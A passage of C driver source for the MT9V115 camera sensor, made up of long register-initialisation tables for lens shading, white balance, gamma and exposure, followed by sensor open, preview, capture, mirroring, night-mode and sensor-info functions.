MT9V115_write_cmos_sensor(0x82E5,0xFD03);
MT9V115_write_cmos_sensor(0x82E7,0x4EFC);
MT9V115_write_cmos_sensor(0x82E9,0x7ED2);
MT9V115_write_cmos_sensor(0x82EB,0x840F);
MT9V115_write_cmos_sensor(0x82ED,0xED00);
MT9V115_write_cmos_sensor(0x82EF,0x2019);
MT9V115_write_cmos_sensor(0x82F1,0xDC0A);
MT9V115_write_cmos_sensor(0x82F3,0xB303);
MT9V115_write_cmos_sensor(0x82F5,0x4A24);
MT9V115_write_cmos_sensor(0x82F7,0x15EC);
MT9V115_write_cmos_sensor(0x82F9,0x0083);
MT9V115_write_cmos_sensor(0x82FB,0x0000);
MT9V115_write_cmos_sensor(0x82FD,0x260E);
MT9V115_write_cmos_sensor(0x82FF,0xFC7E);
MT9V115_write_cmos_sensor(0x8301,0xD284);
MT9V115_write_cmos_sensor(0x8303,0x0FFA);
MT9V115_write_cmos_sensor(0x8305,0x034F);
MT9V115_write_cmos_sensor(0x8307,0xBA03);
MT9V115_write_cmos_sensor(0x8309,0x4EFD);
MT9V115_write_cmos_sensor(0x830B,0x7ED2);
MT9V115_write_cmos_sensor(0x830D,0xBDD2);
MT9V115_write_cmos_sensor(0x830F,0xAD38);
MT9V115_write_cmos_sensor(0x8311,0x3900);
MT9V115_write_cmos_sensor(0x098E,0x0000); // LOGICAL_ADDRESS_ACCESS
//patch1 thresholds
MT9V115_write_cmos_sensor(0x0982,0x0000); // ACCESS_CTL_STAT
MT9V115_write_cmos_sensor(0x098A,0x0000); // PHYSICAL_ADDRESS_ACCESS
MT9V115_write_cmos_sensor(0x8344,0x0048);
MT9V115_write_cmos_sensor(0x8346,0x0040);
MT9V115_write_cmos_sensor(0x8348,0x0000);
MT9V115_write_cmos_sensor(0x834A,0x0040);
MT9V115_write_cmos_sensor(0x098E,0x0000); // LOGICAL_ADDRESS_ACCESS
//enable patch1
MT9V115_write_cmos_sensor(0x0982,0x0000); // ACCESS_CTL_STAT
MT9V115_write_cmos_sensor(0x098A,0x0000); // PHYSICAL_ADDRESS_ACCESS
MT9V115_write_cmos_sensor(0x824D,0x0251);
MT9V115_write_cmos_sensor(0x824F,0x0299);
MT9V115_write_cmos_sensor(0x098E,0x0000); // LOGICAL_ADDRESS_ACCESS
//Step4-PGA
MT9V115_write_cmos_sensor(0x3210,0x00B0); // COLOR_PIPELINE_CONTROL
MT9V115_write_cmos_sensor(0x3640,0x00F0); // P_G1_P0Q0
MT9V115_write_cmos_sensor(0x3642,0xD9AC); // P_G1_P0Q1
MT9V115_write_cmos_sensor(0x3644,0x02D0); // P_G1_P0Q2
MT9V115_write_cmos_sensor(0x3646,0x9B4E); // P_G1_P0Q3
MT9V115_write_cmos_sensor(0x3648,0xF22D); // P_G1_P0Q4
MT9V115_write_cmos_sensor(0x364A,0x0110); // P_R_P0Q0
MT9V115_write_cmos_sensor(0x364C,0x930D); // P_R_P0Q1
MT9V115_write_cmos_sensor(0x364E,0x1010); // P_R_P0Q2
MT9V115_write_cmos_sensor(0x3650,0x9A8E); // P_R_P0Q3
MT9V115_write_cmos_sensor(0x3652,0xBC4E); // P_R_P0Q4
MT9V115_write_cmos_sensor(0x3654,0x0130); // P_B_P0Q0
MT9V115_write_cmos_sensor(0x3656,0xBAED); // P_B_P0Q1
MT9V115_write_cmos_sensor(0x3658,0x6A6F); // P_B_P0Q2
MT9V115_write_cmos_sensor(0x365A,0xBFCD); // P_B_P0Q3
MT9V115_write_cmos_sensor(0x365C,0xC48E); // P_B_P0Q4
MT9V115_write_cmos_sensor(0x365E,0x02F0); // P_G2_P0Q0
MT9V115_write_cmos_sensor(0x3660,0xA32C); // P_G2_P0Q1
MT9V115_write_cmos_sensor(0x3662,0x0C30); // P_G2_P0Q2
MT9V115_write_cmos_sensor(0x3664,0xBEAE); // P_G2_P0Q3
MT9V115_write_cmos_sensor(0x3666,0xA08E); // P_G2_P0Q4
MT9V115_write_cmos_sensor(0x3680,0xA1EA); // P_G1_P1Q0
MT9V115_write_cmos_sensor(0x3682,0x61AA); // P_G1_P1Q1
MT9V115_write_cmos_sensor(0x3684,0xE16A); // P_G1_P1Q2
MT9V115_write_cmos_sensor(0x3686,0xB4ED); // P_G1_P1Q3
MT9V115_write_cmos_sensor(0x3688,0xD92E); // P_G1_P1Q4
MT9V115_write_cmos_sensor(0x368A,0xDE0A); // P_R_P1Q0
MT9V115_write_cmos_sensor(0x368C,0x7309); // P_R_P1Q1
MT9V115_write_cmos_sensor(0x368E,0xBC0D); // P_R_P1Q2
MT9V115_write_cmos_sensor(0x3690,0xA58A); // P_R_P1Q3
MT9V115_write_cmos_sensor(0x3692,0x390C); // P_R_P1Q4
MT9V115_write_cmos_sensor(0x3694,0x9AAB); // P_B_P1Q0
MT9V115_write_cmos_sensor(0x3696,0x7BEA); // P_B_P1Q1
MT9V115_write_cmos_sensor(0x3698,0xC86B); // P_B_P1Q2
MT9V115_write_cmos_sensor(0x369A,0x926B); // P_B_P1Q3
MT9V115_write_cmos_sensor(0x369C,0x87AC); // P_B_P1Q4
MT9V115_write_cmos_sensor(0x369E,0x82CB); // P_G2_P1Q0
MT9V115_write_cmos_sensor(0x36A0,0x5D2A); // P_G2_P1Q1
MT9V115_write_cmos_sensor(0x36A2,0x206C); // P_G2_P1Q2
MT9V115_write_cmos_sensor(0x36A4,0xD9AD); // P_G2_P1Q3
MT9V115_write_cmos_sensor(0x36A6,0xA08F); // P_G2_P1Q4
MT9V115_write_cmos_sensor(0x36C0,0x656F); // P_G1_P2Q0
MT9V115_write_cmos_sensor(0x36C2,0xC10D); // P_G1_P2Q1
MT9V115_write_cmos_sensor(0x36C4,0x8B2F); // P_G1_P2Q2
MT9V115_write_cmos_sensor(0x36C6,0xC3A); // P_G1_P2Q3
MT9V115_write_cmos_sensor(0x36C8,0x8C6F); // P_G1_P2Q4
MT9V115_write_cmos_sensor(0x36CA,0x7C8F); // P_R_P2Q0
MT9V115_write_cmos_sensor(0x36CC,0xF04D); // P_R_P2Q1
MT9V115_write_cmos_sensor(0x36CE,0x11AD); // P_R_P2Q2
MT9V115_write_cmos_sensor(0x36D0,0x2D6E); // P_R_P2Q3
MT9V115_write_cmos_sensor(0x36D2,0x368F); // P_R_P2Q4
MT9V115_write_cmos_sensor(0x36D4,0x4C6F); // P_B_P2Q0
MT9V115_write_cmos_sensor(0x36D6,0xAE2E); // P_B_P2Q1
MT9V115_write_cmos_sensor(0x36D8,0xAA0F); // P_B_P2Q2
MT9V115_write_cmos_sensor(0x36DA,0x628F); // P_B_P2Q3
MT9V115_write_cmos_sensor(0x36DC,0x55B0); // P_B_P2Q4
MT9V115_write_cmos_sensor(0x36DE,0x66CF); // P_G2_P2Q0
MT9V115_write_cmos_sensor(0x36E0,0xBAAE); // P_G2_P2Q1
MT9V115_write_cmos_sensor(0x36E2,0xA5CF); // P_G2_P2Q2
MT9V115_write_cmos_sensor(0x36E4,0x780E); // P_G2_P2Q3
MT9V115_write_cmos_sensor(0x36E6,0x336E); // P_G2_P2Q4
MT9V115_write_cmos_sensor(0x3700,0x166B); // P_G1_P3Q0
MT9V115_write_cmos_sensor(0x3702,0x812F); // P_G1_P3Q1
MT9V115_write_cmos_sensor(0x3704,0xFDAC); // P_G1_P3Q2
MT9V115_write_cmos_sensor(0x3706,0x4E90); // P_G1_P3Q3
MT9V115_write_cmos_sensor(0x3708,0x4F11); // P_G1_P3Q4
MT9V115_write_cmos_sensor(0x370A,0x58EA); // P_R_P3Q0
MT9V115_write_cmos_sensor(0x370C,0xCE8A); // P_R_P3Q1
MT9V115_write_cmos_sensor(0x370E,0x890E); // P_R_P3Q2
MT9V115_write_cmos_sensor(0x3710,0x95CE); // P_R_P3Q3
MT9V115_write_cmos_sensor(0x3712,0x1891); // P_R_P3Q4
MT9V115_write_cmos_sensor(0x3714,0x04CC); // P_B_P3Q0
MT9V115_write_cmos_sensor(0x3716,0xBE4C); // P_B_P3Q1
MT9V115_write_cmos_sensor(0x3718,0x992F); // P_B_P3Q2
MT9V115_write_cmos_sensor(0x371A,0x900F); // P_B_P3Q3
MT9V115_write_cmos_sensor(0x371C,0x1271); // P_B_P3Q4
MT9V115_write_cmos_sensor(0x371E,0x626C); // P_G2_P3Q0
MT9V115_write_cmos_sensor(0x3720,0xBB0E); // P_G2_P3Q1
MT9V115_write_cmos_sensor(0x3722,0xF6AF); // P_G2_P3Q2
MT9V115_write_cmos_sensor(0x3724,0x2B50); // P_G2_P3Q3
MT9V115_write_cmos_sensor(0x3726,0x1B12); // P_G2_P3Q4
MT9V115_write_cmos_sensor(0x3740,0xD7CC); // P_G1_P4Q0
MT9V115_write_cmos_sensor(0x3742,0xE2EE); // P_G1_P4Q1
MT9V115_write_cmos_sensor(0x3744,0x75B0); // P_G1_P4Q2
MT9V115_write_cmos_sensor(0x3746,0x1811); // P_G1_P4Q3
MT9V115_write_cmos_sensor(0x3748,0x9972); // P_G1_P4Q4
MT9V115_write_cmos_sensor(0x374A,0x118E); // P_R_P4Q0
MT9V115_write_cmos_sensor(0x374C,0x0747); // P_R_P4Q1
MT9V115_write_cmos_sensor(0x374E,0x1F30); // P_R_P4Q2
MT9V115_write_cmos_sensor(0x3750,0xD7F1); // P_R_P4Q3
MT9V115_write_cmos_sensor(0x3752,0xDCF3); // P_R_P4Q4
MT9V115_write_cmos_sensor(0x3754,0x1D6E); // P_B_P4Q0
MT9V115_write_cmos_sensor(0x3756,0x068F); // P_B_P4Q1
MT9V115_write_cmos_sensor(0x3758,0x07D0); // P_B_P4Q2
MT9V115_write_cmos_sensor(0x375A,0x9F12); // P_B_P4Q3
MT9V115_write_cmos_sensor(0x375C,0xB9B3); // P_B_P4Q4
MT9V115_write_cmos_sensor(0x375E,0x99CE); // P_G2_P4Q0
MT9V115_write_cmos_sensor(0x3760,0x2F0F); // P_G2_P4Q1
MT9V115_write_cmos_sensor(0x3762,0x0DB1); // P_G2_P4Q2
MT9V115_write_cmos_sensor(0x3764,0x8C12); // P_G2_P4Q3
MT9V115_write_cmos_sensor(0x3766,0x8BB3); // P_G2_P4Q4
MT9V115_write_cmos_sensor(0x3782,0x00F4); // CENTER_ROW
MT9V115_write_cmos_sensor(0x3784,0x0188); // CENTER_COLUMN
MT9V115_write_cmos_sensor(0x3210,0x00B0); // COLOR_PIPELINE_CONTROL
//MT9V115_write_cmos_sensor(0x3210,0x00B8); // COLOR_PIPELINE_CONTROL
//Step5-AWB_CCM
MT9V115_write_cmos_sensor(0xA02F,0x0229); // CAM_AWB_CONFIG_CCM_L_0
MT9V115_write_cmos_sensor(0xA031,0xFED6); // CAM_AWB_CONFIG_CCM_L_1
MT9V115_write_cmos_sensor(0xA033,0x0001); // CAM_AWB_CONFIG_CCM_L_2
MT9V115_write_cmos_sensor(0xA035,0xFFC2); // CAM_AWB_CONFIG_CCM_L_3
MT9V115_write_cmos_sensor(0xA037,0x014A); // CAM_AWB_CONFIG_CCM_L_4
MT9V115_write_cmos_sensor(0xA039,0xFFF3); // CAM_AWB_CONFIG_CCM_L_5
MT9V115_write_cmos_sensor(0xA03B,0xFF49); // CAM_AWB_CONFIG_CCM_L_6
MT9V115_write_cmos_sensor(0xA03D,0xFEAD); // CAM_AWB_CONFIG_CCM_L_7
MT9V115_write_cmos_sensor(0xA03F,0x030A); // CAM_AWB_CONFIG_CCM_L_8
MT9V115_write_cmos_sensor(0xA041,0x0019); // CAM_AWB_CONFIG_CCM_L_9
MT9V115_write_cmos_sensor(0xA043,0x004D); // CAM_AWB_CONFIG_CCM_L_10
MT9V115_write_cmos_sensor(0xA045,0xFF84); // CAM_AWB_CONFIG_CCM_RL_0
MT9V115_write_cmos_sensor(0xA047,0x00B4); // CAM_AWB_CONFIG_CCM_RL_1
MT9V115_write_cmos_sensor(0xA049,0xFFC7); // CAM_AWB_CONFIG_CCM_RL_2
MT9V115_write_cmos_sensor(0xA04B,0x000F); // CAM_AWB_CONFIG_CCM_RL_3
MT9V115_write_cmos_sensor(0xA04D,0xFFDF); // CAM_AWB_CONFIG_CCM_RL_4
MT9V115_write_cmos_sensor(0xA04F,0x0012); // CAM_AWB_CONFIG_CCM_RL_5
MT9V115_write_cmos_sensor(0xA051,0x00AB); // CAM_AWB_CONFIG_CCM_RL_6
MT9V115_write_cmos_sensor(0xA053,0x00B2); // CAM_AWB_CONFIG_CCM_RL_7
MT9V115_write_cmos_sensor(0xA055,0xFEA3); // CAM_AWB_CONFIG_CCM_RL_8
MT9V115_write_cmos_sensor(0xA057,0x0011); // CAM_AWB_CONFIG_CCM_RL_9
MT9V115_write_cmos_sensor(0xA059,0xFFDC); // CAM_AWB_CONFIG_CCM_RL_10
MT9V115_write8_cmos_sensor(0x9416,0x38); // AWB_R_SCENE_RATIO_LOWER
MT9V115_write8_cmos_sensor(0x9417,0x95); // AWB_R_SCENE_RATIO_UPPER
MT9V115_write8_cmos_sensor(0x9418,0x15); // AWB_B_SCENE_RATIO_LOWER
MT9V115_write8_cmos_sensor(0x9419,0x61); // AWB_B_SCENE_RATIO_UPPER
MT9V115_write_cmos_sensor(0x2110,0x0034); // AWB_XY_SCALE
MT9V115_write_cmos_sensor(0x2110,0x0024); // AWB_XY_SCALE
MT9V115_write_cmos_sensor(0x2112,0x0000); // AWB_WEIGHT_R0
MT9V115_write_cmos_sensor(0x2114,0x0000); // AWB_WEIGHT_R1
MT9V115_write_cmos_sensor(0x2116,0x0000); // AWB_WEIGHT_R2
MT9V115_write_cmos_sensor(0x2118,0xFFE0); // AWB_WEIGHT_R3
MT9V115_write_cmos_sensor(0x211A,0xA140); // AWB_WEIGHT_R4
MT9V115_write_cmos_sensor(0x211C,0x28A0); // AWB_WEIGHT_R5
MT9V115_write_cmos_sensor(0x211E,0x006E); // AWB_WEIGHT_R6
MT9V115_write_cmos_sensor(0x2120,0x001C); // AWB_WEIGHT_R7
MT9V115_write_cmos_sensor(0xA061,0x0031); // CAM_AWB_CONFIG_X_SHIFT_PRE_ADJ
MT9V115_write_cmos_sensor(0xA063,0x0042); // CAM_AWB_CONFIG_Y_SHIFT_PRE_ADJ
//Step6-CPIPE_Calibration
//PA Settings
MT9V115_write_cmos_sensor(0xA01C,0x0080); // CAM_AE_CONFIG_TARGET_AGAIN
MT9V115_write8_cmos_sensor(0xA020,0x4B); // CAM_AE_CONFIG_BASE_TARGET
MT9V115_write8_cmos_sensor(0xA07A,0x10); // CAM_LL_CONFIG_AP_THRESH_START
MT9V115_write8_cmos_sensor(0xA081,0x1E); // CAM_LL_CONFIG_DM_EDGE_TH_START
MT9V115_write_cmos_sensor(0xA0B9,0x0096); // CAM_LL_CONFIG_START_GAIN_METRIC
MT9V115_write_cmos_sensor(0xA0BB,0x010E); // CAM_LL_CONFIG_STOP_GAIN_METRIC
MT9V115_write_cmos_sensor(0xA01E,0x0080); // CAM_AE_CONFIG_TARGET_DGAIN
MT9V115_write_cmos_sensor(0xA025,0x0080); // CAM_AE_CONFIG_MAX_VIRT_DGAIN
MT9V115_write_cmos_sensor(0xA085,0x0078); // CAM_LL_CONFIG_FTB_AVG_YSUM_STOP
MT9V115_write8_cmos_sensor(0xA07C,0x04); // CAM_LL_CONFIG_AP_GAIN_START
MT9V115_write8_cmos_sensor(0xA05F,0x80); // CAM_AWB_CONFIG_START_SATURATION
MT9V115_write8_cmos_sensor(0xA060,0x46); // CAM_AWB_CONFIG_END_SATURATION
MT9V115_write8_cmos_sensor(0xA060,0x3C); // CAM_AWB_CONFIG_END_SATURATION
MT9V115_write8_cmos_sensor(0xA05F,0x4B); // CAM_AWB_CONFIG_START_SATURATION
//AE Settings
MT9V115_write8_cmos_sensor(0x9003,0x20); // AE_TRACK_BLACK_LEVEL_MAX
MT9V115_write8_cmos_sensor(0xA020,0x3C); // CAM_AE_CONFIG_BASE_TARGET
//Step7-CPIPE_Preference
MT9V115_write_cmos_sensor(0x326E,0x0006); // LOW_PASS_YUV_FILTER
MT9V115_write_cmos_sensor(0x33F4,0x000B); // KERNEL_CONFIG
MT9V115_write8_cmos_sensor(0xA087,0x00); // CAM_LL_CONFIG_GAMMA_CONTRAST_CURVE_0
MT9V115_write8_cmos_sensor(0xA088,0x07); // CAM_LL_CONFIG_GAMMA_CONTRAST_CURVE_1
MT9V115_write8_cmos_sensor(0xA089,0x16); // CAM_LL_CONFIG_GAMMA_CONTRAST_CURVE_2
MT9V115_write8_cmos_sensor(0xA08A,0x30); // CAM_LL_CONFIG_GAMMA_CONTRAST_CURVE_3
MT9V115_write8_cmos_sensor(0xA08B,0x52); // CAM_LL_CONFIG_GAMMA_CONTRAST_CURVE_4
MT9V115_write8_cmos_sensor(0xA08C,0x6D); // CAM_LL_CONFIG_GAMMA_CONTRAST_CURVE_5
MT9V115_write8_cmos_sensor(0xA08D,0x86); // CAM_LL_CONFIG_GAMMA_CONTRAST_CURVE_6
MT9V115_write8_cmos_sensor(0xA08E,0x9B); // CAM_LL_CONFIG_GAMMA_CONTRAST_CURVE_7
MT9V115_write8_cmos_sensor(0xA08F,0xAB); // CAM_LL_CONFIG_GAMMA_CONTRAST_CURVE_8
MT9V115_write8_cmos_sensor(0xA090,0xB9); // CAM_LL_CONFIG_GAMMA_CONTRAST_CURVE_9
MT9V115_write8_cmos_sensor(0xA091,0xC5); // CAM_LL_CONFIG_GAMMA_CONTRAST_CURVE_10
MT9V115_write8_cmos_sensor(0xA092,0xCF); // CAM_LL_CONFIG_GAMMA_CONTRAST_CURVE_11
MT9V115_write8_cmos_sensor(0xA093,0xD8); // CAM_LL_CONFIG_GAMMA_CONTRAST_CURVE_12
MT9V115_write8_cmos_sensor(0xA094,0xE0); // CAM_LL_CONFIG_GAMMA_CONTRAST_CURVE_13
MT9V115_write8_cmos_sensor(0xA095,0xE7); // CAM_LL_CONFIG_GAMMA_CONTRAST_CURVE_14
MT9V115_write8_cmos_sensor(0xA096,0xEE); // CAM_LL_CONFIG_GAMMA_CONTRAST_CURVE_15
MT9V115_write8_cmos_sensor(0xA097,0xF4); // CAM_LL_CONFIG_GAMMA_CONTRAST_CURVE_16
MT9V115_write8_cmos_sensor(0xA098,0xFA); // CAM_LL_CONFIG_GAMMA_CONTRAST_CURVE_17
MT9V115_write_cmos_sensor(0xA0AD,0x0001); // CAM_LL_CONFIG_GAMMA_START_BM
MT9V115_write_cmos_sensor(0xA0AF,0x0338); // CAM_LL_CONFIG_GAMMA_STOP_BM
MT9V115_write8_cmos_sensor(0xA060,0x3C); // CAM_AWB_CONFIG_END_SATURATION
MT9V115_write8_cmos_sensor(0xA05F,0x4B); // CAM_AWB_CONFIG_START_SATURATION
MT9V115_write8_cmos_sensor(0x9003,0x20); // AE_TRACK_BLACK_LEVEL_MAX
MT9V115_write8_cmos_sensor(0x8C03,0x01); // FD_STAT_MIN
MT9V115_write8_cmos_sensor(0x8C04,0x03); // FD_STAT_MAX
MT9V115_write8_cmos_sensor(0x8C05,0x05); // FD_MIN_AMPLITUDE
//release power up stop, keep FW PLL startup
MT9V115_write_cmos_sensor(0x0018,0x0002); // STANDBY_CONTROL_AND_STATUS
Sleep(120);
//MT9V115_write_cmos_sensor(0xA076,0x000A); //cam_fd_config_max_fdzone_50hz=3
//MT9V115_write_cmos_sensor(0xA078,0x000C); //cam_fd_config_max_fdzone_60hz=4
//MT9V115_write_cmos_sensor(0xA01A,0x0008); //cam_ae_config_target_fdzone=3
}
static kal_uint16 MT9V115_power_on(void)
{
kal_uint16 id=0;
spin_lock(&mt9v115yuv_drv_lock);
MT9V115Sensor.sensor_id = 0;
spin_unlock(&mt9v115yuv_drv_lock);
id= MT9V115_read_cmos_sensor(MT9V115_ID_REG);
spin_lock(&mt9v115yuv_drv_lock);
MT9V115Sensor.sensor_id=id;
spin_unlock(&mt9v115yuv_drv_lock);
SENSORDB("[MT9V115]MT9V115Sensor.sensor_id =%x\n",MT9V115Sensor.sensor_id);
return MT9V115Sensor.sensor_id;
}
/*************************************************************************
* FUNCTION
* MT9V115Open
*
* DESCRIPTION
* This function initialize the registers of CMOS sensor
*
* PARAMETERS
* None
*
* RETURNS
* None
*
* GLOBALS AFFECTED
*
*************************************************************************/
UINT32 MT9V115Open(void)
{
kal_uint16 data=0;
SENSORDB("[Enter]:MT9V115 Open func .\n");
if (MT9V115_power_on() != MT9V115_SENSOR_ID)
{
SENSORDB("[MT9V115]Error:read sensor ID fail\n");
return ERROR_SENSOR_CONNECT_FAIL;
}
/* Apply sensor initail setting*/
MT9V115InitialSetting();
SENSORDB("[Exit]:MT9V115 Open func\n");
return ERROR_NONE;
} /* MT9V115Open() */
/*************************************************************************
* FUNCTION
* MT9V115Close
*
* DESCRIPTION
* This function is to turn off sensor module power.
*
* PARAMETERS
* None
*
* RETURNS
* None
*
* GLOBALS AFFECTED
*
*************************************************************************/
UINT32 MT9V115Close(void)
{
SENSORDB("[Exit]:MT9V115 close func\n");
return ERROR_NONE;
} /* MT9V115Close() */
static void MT9V115_HVMirror(kal_uint8 image_mirror)
{
SENSORDB("MT9V115 HVMirror:%d\n",image_mirror);
switch (image_mirror)
{
case IMAGE_NORMAL:
MT9V115_write_cmos_sensor(0x098E, 0x8400);
MT9V115_write8_cmos_sensor(0x8400, 0x01); //sensor stop mode
MT9V115_write_cmos_sensor(0x3040, 0x0041);
MT9V115_write8_cmos_sensor(0x8400, 0x02); //sensor stream mode
break;
case IMAGE_H_MIRROR:
MT9V115_write_cmos_sensor(0x098E, 0x8400);
MT9V115_write8_cmos_sensor(0x8400, 0x01); //sensor stop mode
MT9V115_write_cmos_sensor(0x3040, 0x4041);
MT9V115_write8_cmos_sensor(0x8400, 0x02); //sensor stream mode
break;
case IMAGE_V_MIRROR:
break;
case IMAGE_HV_MIRROR:
break;
default:
MT9V115_write_cmos_sensor(0x098E, 0x8400);
MT9V115_write8_cmos_sensor(0x8400, 0x01); //sensor stop mode
MT9V115_write_cmos_sensor(0x3040, 0x0041);
MT9V115_write8_cmos_sensor(0x8400, 0x02); //sensor stream mode
break;
}
}
void MT9V115_night_mode(kal_bool enable)
{
SENSORDB("[Enter]MT9V115 night mode func:enable = %d\n",enable);
if(enable)
{
MT9V115_write_cmos_sensor(0x098E, 0x2076);// MCU_ADDRESS [AE_MAX_INDEX]
MT9V115_write_cmos_sensor(0xA076, 0x0014);// MCU_DATA_0
MT9V115_write_cmos_sensor(0xA078, 0x0018);// MCU_ADDRESS [AE_INDEX_TH23]
}
else
{
MT9V115_write_cmos_sensor(0x098E, 0x2076);// MCU_ADDRESS [AE_MAX_INDEX]
MT9V115_write_cmos_sensor(0xA076, 0x000A);// MCU_DATA_0
MT9V115_write_cmos_sensor(0xA078, 0x000C);// MCU_ADDRESS [AE_INDEX_TH23]
}
}
/*************************************************************************
* FUNCTION
* MT9V115Preview
*
* DESCRIPTION
* This function start the sensor preview.
*
* PARAMETERS
* *image_window : address pointer of pixel numbers in one period of HSYNC
* *sensor_config_data : address pointer of line numbers in one period of VSYNC
*
* RETURNS
* None
*
* GLOBALS AFFECTED
*
*************************************************************************/
static UINT32 MT9V115Preview(MSDK_SENSOR_EXPOSURE_WINDOW_STRUCT *image_window,
MSDK_SENSOR_CONFIG_STRUCT *sensor_config_data)
{
kal_uint8 StartX = 0, StartY = 1;
SENSORDB("[Enter]:MT9V115 preview func:");
MT9V115_HVMirror(sensor_config_data->SensorImageMirror);
image_window->GrabStartX = StartX;
image_window->GrabStartY = StartY;
image_window->ExposureWindowWidth = MT9V115_IMAGE_SENSOR_VGA_WIDTH - 2* StartX ;
image_window->ExposureWindowHeight = MT9V115_IMAGE_SENSOR_VGA_HEIGHT - 2 * StartY;
SENSORDB("[Exit]:MT9V115 preview func\n");
return ERROR_NONE;
} /* MT9V115_Preview */
UINT32 MT9V115Capture(MSDK_SENSOR_EXPOSURE_WINDOW_STRUCT *image_window,
MSDK_SENSOR_CONFIG_STRUCT *sensor_config_data)
{
kal_uint8 StartX = 0, StartY = 1;
SENSORDB("[Enter]:MT9V115 capture func:");
image_window->GrabStartX = StartX;
image_window->GrabStartY = StartY;
image_window->ExposureWindowWidth = MT9V115_IMAGE_SENSOR_VGA_WIDTH - 2 * StartX;
image_window->ExposureWindowHeight = MT9V115_IMAGE_SENSOR_VGA_HEIGHT - 2 * StartY;
}
UINT32 MT9V115GetResolution(MSDK_SENSOR_RESOLUTION_INFO_STRUCT *pSensorResolution)
{
SENSORDB("[Enter]:MT9V115 get Resolution func\n");
pSensorResolution->SensorFullWidth=MT9V115_IMAGE_SENSOR_VGA_WIDTH -8;
pSensorResolution->SensorFullHeight=MT9V115_IMAGE_SENSOR_VGA_HEIGHT - 6;
pSensorResolution->SensorPreviewWidth=MT9V115_IMAGE_SENSOR_VGA_WIDTH -16;
pSensorResolution->SensorPreviewHeight=MT9V115_IMAGE_SENSOR_VGA_HEIGHT - 12;
SENSORDB("[Exit]:MT9V115 get Resolution func\n");
return ERROR_NONE;
} /* MT9V115GetResolution() */
UINT32 MT9V115GetInfo(MSDK_SCENARIO_ID_ENUM ScenarioId,
MSDK_SENSOR_INFO_STRUCT *pSensorInfo,
MSDK_SENSOR_CONFIG_STRUCT *pSensorConfigData)
{
SENSORDB("[Enter]:MT9V115 getInfo func:ScenarioId = %d\n",ScenarioId);
pSensorInfo->SensorPreviewResolutionX=MT9V115_IMAGE_SENSOR_VGA_WIDTH;
pSensorInfo->SensorPreviewResolutionY=MT9V115_IMAGE_SENSOR_VGA_HEIGHT;
pSensorInfo->SensorFullResolutionX=MT9V115_IMAGE_SENSOR_VGA_WIDTH;
pSensorInfo->SensorFullResolutionY=MT9V115_IMAGE_SENSOR_VGA_HEIGHT;
pSensorInfo->SensorCameraPreviewFrameRate=30;
pSensorInfo->SensorVideoFrameRate=30;
pSensorInfo->SensorStillCaptureFrameRate=30;
pSensorInfo->SensorWebCamCaptureFrameRate=15;
pSensorInfo->SensorResetActiveHigh=FALSE;//low is to reset
pSensorInfo->SensorResetDelayCount=4; //4ms
pSensorInfo->SensorOutputDataFormat=SENSOR_OUTPUT_FORMAT_YUYV;
pSensorInfo->SensorClockPolarity=SENSOR_CLOCK_POLARITY_LOW;
pSensorInfo->SensorClockFallingPolarity=SENSOR_CLOCK_POLARITY_LOW;
pSensorInfo->SensorHsyncPolarity = SENSOR_CLOCK_POLARITY_LOW;
pSensorInfo->SensorVsyncPolarity = SENSOR_CLOCK_POLARITY_HIGH;
pSensorInfo->SensorInterruptDelayLines = 1;
pSensorInfo->SensroInterfaceType=SENSOR_INTERFACE_TYPE_PARALLEL;
pSensorInfo->SensorISOBinningInfo.ISOBinningInfo[ISO_100_MODE].MaxWidth=CAM_SIZE_VGA_WIDTH; //???
pSensorInfo->SensorISOBinningInfo.ISOBinningInfo[ISO_100_MODE].MaxHeight=CAM_SIZE_VGA_HEIGHT;
pSensorInfo->SensorISOBinningInfo.ISOBinningInfo[ISO_100_MODE].ISOSupported=TRUE;
pSensorInfo->SensorISOBinningInfo.ISOBinningInfo[ISO_100_MODE].BinningEnable=FALSE;
pSensorInfo->SensorISOBinningInfo.ISOBinningInfo[ISO_200_MODE].MaxWidth=CAM_SIZE_VGA_WIDTH;
pSensorInfo->SensorISOBinningInfo.ISOBinningInfo[ISO_200_MODE].MaxHeight=CAM_SIZE_VGA_HEIGHT;
pSensorInfo->SensorISOBinningInfo.ISOBinningInfo[ISO_200_MODE].ISOSupported=TRUE;
pSensorInfo->SensorISOBinningInfo.ISOBinningInfo[ISO_200_MODE].BinningEnable=FALSE;
pSensorInfo->SensorISOBinningInfo.ISOBinningInfo[ISO_400_MODE].MaxWidth=CAM_SIZE_VGA_WIDTH;
pSensorInfo->SensorISOBinningInfo.ISOBinningInfo[ISO_400_MODE].MaxHeight=CAM_SIZE_VGA_HEIGHT;
pSensorInfo->SensorISOBinningInfo.ISOBinningInfo[ISO_400_MODE].ISOSupported=TRUE;
pSensorInfo->SensorISOBinningInfo.ISOBinningInfo[ISO_400_MODE].BinningEnable=FALSE;
pSensorInfo->SensorISOBinningInfo.ISOBinningInfo[ISO_800_MODE].MaxWidth=CAM_SIZE_VGA_WIDTH;
pSensorInfo->SensorISOBinningInfo.ISOBinningInfo[ISO_800_MODE].MaxHeight=CAM_SIZE_VGA_HEIGHT;
pSensorInfo->SensorISOBinningInfo.ISOBinningInfo[ISO_800_MODE].ISOSupported=TRUE;
pSensorInfo->SensorISOBinningInfo.ISOBinningInfo[ISO_800_MODE].BinningEnable=TRUE;
pSensorInfo->SensorISOBinningInfo.ISOBinningInfo[ISO_1600_MODE].MaxWidth=CAM_SIZE_VGA_WIDTH;
pSensorInfo->SensorISOBinningInfo.ISOBinningInfo[ISO_1600_MODE].MaxHeight=CAM_SIZE_VGA_HEIGHT;
pSensorInfo->SensorISOBinningInfo.ISOBinningInfo[ISO_1600_MODE].ISOSupported=TRUE;
pSensorInfo->SensorISOBinningInfo.ISOBinningInfo[ISO_1600_MODE].BinningEnable=TRUE;
pSensorInfo->CaptureDelayFrame = 2;
pSensorInfo->PreviewDelayFrame = 2;
pSensorInfo->VideoDelayFrame = 2;
pSensorInfo->SensorMasterClockSwitch = 0;
pSensorInfo->SensorDrivingCurrent = ISP_DRIVING_6MA;
switch (ScenarioId)
{
case MSDK_SCENARIO_ID_CAMERA_PREVIEW:
case MSDK_SCENARIO_ID_VIDEO_PREVIEW:
case MSDK_SCENARIO_ID_VIDEO_CAPTURE_MPEG4:
pSensorInfo->SensorClockFreq=24;
pSensorInfo->SensorClockDividCount= 3;
pSensorInfo->SensorClockRisingCount= 0;
pSensorInfo->SensorClockFallingCount= 2;
pSensorInfo->SensorPixelClockCount= 3;
pSensorInfo->SensorDataLatchCount= 2;
pSensorInfo->SensorGrabStartX = 4;
pSensorInfo->SensorGrabStartY =2;
break;
